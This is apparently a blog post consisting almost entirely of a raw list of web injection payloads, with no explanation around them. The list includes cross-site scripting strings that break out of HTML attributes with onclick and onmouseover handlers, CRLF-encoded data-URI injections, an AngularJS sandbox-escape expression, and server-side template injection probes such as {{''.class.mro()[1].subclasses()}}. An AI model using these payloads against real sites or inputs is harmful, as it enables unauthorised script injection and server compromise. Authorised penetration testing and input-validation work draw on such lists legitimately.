%0D%0Adata:text/html;text,
%0D%0Adata:text/html;text,">'>
?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
" onclick="alert(1)"
">
['-confirm(1)-']
http://
hellololo">
https://www.youtube.com/aaa"><
"onmouseover%3Dconfirm(1)//
ftp://test.com/file
wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz
{{ '7'*7 }}
{{ [].class.base.subclasses() }} # get all classes
{{''.class.mro()[1].subclasses()}}
{%for c in [1,2,3] %}{{c,c,c}}{% endfor %}
">ab/
">Uh oh!
">11
%0a.hh.com [http://0a.hh.com/&h=raqfehm_-aqgd7hbnxlopocqsnvqftneuqvaern…]
{{ '7'*7 }}">
Comments
Post a Comment